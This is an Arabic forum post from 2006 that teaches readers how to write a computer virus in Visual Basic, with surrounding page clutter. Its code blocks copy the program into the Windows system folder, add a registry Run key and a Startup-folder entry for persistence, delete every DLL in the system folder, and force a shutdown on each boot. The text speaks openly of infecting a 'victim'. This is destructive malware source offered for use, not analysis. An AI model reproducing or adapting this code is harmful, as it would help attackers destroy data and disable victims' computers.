العاب بنات

12 -12 -2006, 11:49 PM

هنا بعض الطرق التي اعرفها والتي ستساعدك على عمل فايروس في vb

لنبدأ: اولا يجب ان تعرف كيف تعمل نسخة للفيروس فمثلا عندما الضحية يحمل الفيروس ويشغلة سيقوم البرنامج بنسخ نسخة اخرى في السيستم او اي مكان اخر, هكذا:

code:

--------------------------------------------------------------------------------

On Error Resume Next
Dim copy, copy2
copy = "c:\virus.exe"
copy2 = "c:\windows\system\Project12.exe"
FileCopy copy, copy2

--------------------------------------------------------------------------------

الان ايضا نحتاج لكي يعمل الفيروس دائما عند تشغيل الكمبيوتر وذلك عن طريق ال registry :

code:

--------------------------------------------------------------------------------

Option Explicit

Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long

Private Const REG_SZ = 1
Private Const LOCALMACHINE = &H80000002

Private Sub Command1_Click()
Dim InputValue As String
Dim nBufferKey As Long, nBufferSubKey As Long

RegCreateKey LOCALMACHINE, "SOFTWARE\JPRODUCTIONS", nBufferKey
RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersion", nBufferKey
RegOpenKey nBufferKey, "Run-", nBufferSubKey
InputValue = "c:\windows\system\Project12.exe"
RegOpenKey LOCALMACHINE, "Software\Microsoft\Windows\CurrentVersion", nBufferKey
RegOpenKey nBufferKey, "Run-", nBufferSubKey
RegSetValueEx nBufferSubKey, "My virus", 0, REG_SZ, InputValue, Len(InputValue)

End Sub

--------------------------------------------------------------------------------

الان لنبدأ بصنع الفيروس
ضع هذا في form_load
هذا الكود خطير ويقوم يحذف جميع ملفات dll الموجودة في system

code:

--------------------------------------------------------------------------------

Call Kill ("C:\WINDOWS\SYSTEM\ *.dll")
Call Shell("Rundll32.exe user,exitwindows")

--------------------------------------------------------------------------------

هذا الكود يقوم بأغلاق الجهاز كلما فتحتة

code:

--------------------------------------------------------------------------------

Name App.Path & "\Virus3.exe" As "C:\WINDOWS\Start Menu\Programs\StartUp\Virus3.exe"
Call Shell("Rundll32.exe user,exitwindows")

--------------------------------------------------------------------------------

لاتنسى تغيير virus3.exe الى الفيروس الذي صنعتة

__________________

البحث عن مواضيع لنفس العضو

__________________

العاب بنات

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
هل تعلم ؟	mohamed_nageeb	مطبخك سيدتي	13	06 -11 -2007 05:48 PM
هل تعلم	ايمان	الموضوعات المتكررة	5	16 -10 -2007 04:23 PM
هل تعلم	مدمن زيتون	المنتدى العام	3	15 -10 -2007 12:52 PM
هل تعلم؟؟؟؟	medo_atef	المنتدى العام	1	22 -05 -2007 10:47 AM
هل.... وهل ... ثم هل.. تعلم؟	mohamed_nageeb	الموضوعات المتكررة	0	30 -11 -2005 09:28 AM

تعلم كيف تصنع فيروسات في الفجول بيسك

كل ما يتعلق بالكمبيوتر من مشاكل وحلول

العاب بنات

منتدى ماجده أضف للمفضلة
كلمة مرور المنتدى كلمة مرور مكتوب

أدوات الموضوع
مشاهدة صفحة طباعة الموضوع أرسل هذا الموضوع إلى صديق